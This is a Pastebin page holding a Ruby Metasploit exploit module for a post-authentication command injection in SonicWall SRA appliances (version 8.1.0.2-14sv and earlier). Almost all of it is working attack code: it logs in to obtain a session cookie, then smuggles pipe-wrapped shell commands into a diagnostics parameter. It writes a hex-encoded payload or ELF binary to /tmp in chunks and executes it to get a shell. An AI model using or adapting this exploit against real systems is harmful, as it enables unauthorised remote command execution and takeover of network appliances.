Advertisement
Guest User

Untitled

a guest
Feb 22nd, 2017
3,780
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 6.71 KB | None | 0 0
  1. # Exploit Title: Sonicwall extensionsettings script name Remote Command Injection Vulnerablity
  2. # Date: 12/25/2016
  3. # Exploit Author: xort @ Critical Start
  4. # Vendor Homepage: www.sonicwall.com
  5. # Software Link: sonicwall.com/products/sra-virtual-appliance
  6. # Version: 8.1.0.2-14sv
  7. # Tested on: 8.1.0.2-14sv
  8. #            
  9. # CVE : (awaiting cve)
  10.  
  11. # vuln: extensionsettings.cgi / script file (filename) parameter /  
  12.  
  13. # Description PostAuth Sonicwall SRA <= v8.1.0.2-14sv. This exploit leverages a command injection bug.
  14. #
  15. # xort @ Critical Start
  16.  
  17. require 'msf/core'
  18.  
  19. class MetasploitModule < Msf::Exploit::Remote
  20.     Rank = ExcellentRanking
  21.     include  Exploit::Remote::Tcp
  22.         include Msf::Exploit::Remote::HttpClient
  23.  
  24.     def initialize(info = {})
  25.         super(update_info(info,
  26.             'Name'           => 'Sonicwall SRA <= v8.1.0.2-14sv remote exploit',
  27.                     'Description'    => %q{
  28.                     This module exploits a remote command execution vulnerability in
  29.                 the Sonicwall SRA Appliance Version <=  v8.1.0.2-14sv. The vulnerability exist in
  30.                 a section of the machine's administrative interface for performing configurations
  31.                 related to on-connect scripts to be launched for users' connecting.
  32.             },
  33.             'Author'         =>
  34.                 [
  35.                     'xort@Critical Start', # vuln + metasploit module
  36.                 ],
  37.             'Version'        => '$Revision: 1 $',
  38.             'References'     =>
  39.                 [
  40.                     [ 'none', 'none'],
  41.                 ],
  42.             'Platform'      => [ 'linux'],
  43.             'Privileged'     => true,
  44.              'Arch'          => [ ARCH_X86 ],
  45.                         'SessionTypes'  => [ 'shell' ],
  46.                         'Privileged'     => false,
  47.  
  48.                 'Payload'        =>
  49.                                 {
  50.                                   'Compat' =>
  51.                                   {
  52.                                         'ConnectionType' => 'find',
  53.                                   }
  54.                                 },
  55.  
  56.             'Targets'        =>
  57.                 [
  58.                     ['Linux Universal',
  59.                         {
  60.                                 'Arch' => ARCH_X86,
  61.                                 'Platform' => 'linux'
  62.                         }
  63.                     ],
  64.                 ],
  65.             'DefaultTarget' => 0))
  66.  
  67.             register_options(
  68.                 [
  69.                     OptString.new('PASSWORD', [ false, 'Device password', "" ]),   
  70.                         OptString.new('USERNAME', [ true, 'Device password', "admin" ]),   
  71.                     OptString.new('CMD', [ false, 'Command to execute', "" ])
  72.                     Opt::RPORT(443),
  73.                 ], self.class)
  74.     end
  75.  
  76.         def do_login(username, password_clear)
  77.                 vprint_status( "Logging into machine with credentials...\n" )
  78.  
  79.                 # vars
  80.                 timeout = 1550;
  81.                 style_key = Rex::Text.rand_text_hex(32)
  82.  
  83.                 # send request  
  84.                 res = send_request_cgi(
  85.                 {
  86.                       'method'  => 'POST',
  87.                       'uri'     => "/cgi-bin/userLogin",
  88.               'headers' => {
  89.                'Connection' => 'close',
  90.                'Content-Type' => 'application/x-www-form-urlencoded',
  91.                'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0',
  92.                   },
  93.                       'vars_post' => {
  94.                'username' => username,
  95.                'password' => password_clear,
  96.                'domain' => 'LocalDomain',
  97.                'loginButton' => 'Login',
  98.                'state' => 'login',
  99.                'login' => 'true',
  100.                'VerifyCert' => '0',
  101.                'portalname' => 'VirtualOffice',
  102.                'ajax' => 'true'
  103.                },
  104.                 }, timeout)
  105.  
  106.         swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0]
  107.        
  108.                 return swap
  109.         end
  110.  
  111.     def run_command_spliced(username, swap_cookie, cmd)
  112.  
  113.         vprint_status( "Running Command...\n" )
  114.  
  115.         # send request with payload
  116.         res = send_request_cgi({
  117.             'method' => 'GET',
  118.                         'uri'     => "/cgi-bin/diagnostics",
  119.             'vars_get' => {
  120.                 'tsrEmailCurrent' => 'true',
  121.                 'currentTSREmailTo' => '|'+cmd+'|x',
  122.                 },
  123.                  'headers' => {
  124.                'Cookie' => 'swap='+swap_cookie+';',
  125.                'Content-Type' => 'text/plain; charset="iso-8859-1"',
  126.                'Connection' => 'close',
  127.              },
  128.         }, 30 )
  129.  
  130.     end
  131.  
  132.     def run_command(username, swap_cookie, cmd)
  133.  
  134.           write_mode = ">"
  135.           dump_file = "/tmp/qq"
  136.  
  137.           # base64 - encode with base64 so we can send special chars and multiple lines
  138.               #cmd_encoded = Base64.strict_encode64(cmd)
  139.  
  140.           cmd_encoded = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
  141.  
  142.           vprint_status("cmd_encoded = #{cmd_encoded}")
  143.  
  144.               for cmd_chunk in cmd_encoded.split(/(....................................................................................................)/)
  145.  
  146.                         cmd_new = "printf%20\"#{cmd_chunk}\"#{write_mode}#{dump_file}"
  147.                         #cmd_new = "printf \"#{cmd_chunk}\"#{write_mode}#{dump_file}".gsub("+", "_")
  148.  
  149.                         # set to normal append for loops after the first round
  150.                         if write_mode == ">"
  151.                                 write_mode = ">>"
  152.                         end
  153.  
  154.                         # add cmd to array to be exected later          
  155.             run_command_spliced(username, swap_cookie, cmd_new)
  156.  
  157.                 end
  158.        
  159.         # execute payload stored at dump_file
  160.  
  161.         run_command_spliced(username, swap_cookie, "chmod%20777%20/tmp/qq;sh%20/tmp/qq")
  162.    
  163.     end
  164.  
  165.     def exploit
  166.         # timeout
  167.         timeout = 1550;
  168.  
  169.         # params
  170.         password_clear = datastore['PASSWORD']
  171.         user = datastore['USERNAME']
  172.  
  173.         # do authentication    
  174.         swap_cookie = do_login(user, password_clear)
  175.    
  176.         vprint_status("authenticated 'swap' cookie: #{swap_cookie}\n")
  177.            
  178.          #if no 'CMD' string - add code for root shell
  179.                 if not datastore['CMD'].nil? and not datastore['CMD'].empty?
  180.  
  181.                         cmd = datastore['CMD']
  182.  
  183.                         # Encode cmd payload
  184.                         encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
  185.             vprint_status("encoded_cmd = #{encoded_cmd}")
  186.  
  187.                         # kill stale calls to bdump from previous exploit calls for re-use
  188.                         run_command(user, swap_cookie, ("sudo /bin/rm -f /tmp/n;printf \"#{encoded_cmd}\">/tmp/n;chmod +rx /tmp/n;/tmp/n" ))
  189.                 else
  190.                         # Encode payload to ELF file for deployment
  191.                         elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
  192.                         encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
  193.             vprint_status("encoded_elf = #{encoded_elf}")
  194.  
  195.             # upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
  196.                         run_command(user, swap_cookie, ("echo -e \"#{encoded_elf}\"\>/tmp/m\;chmod +rx /tmp/m\;/tmp/m"))
  197.            
  198.  
  199.             # wait for magic
  200.                         handler
  201.            
  202.                 end
  203.  
  204.  
  205.     end
  206.  
  207. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement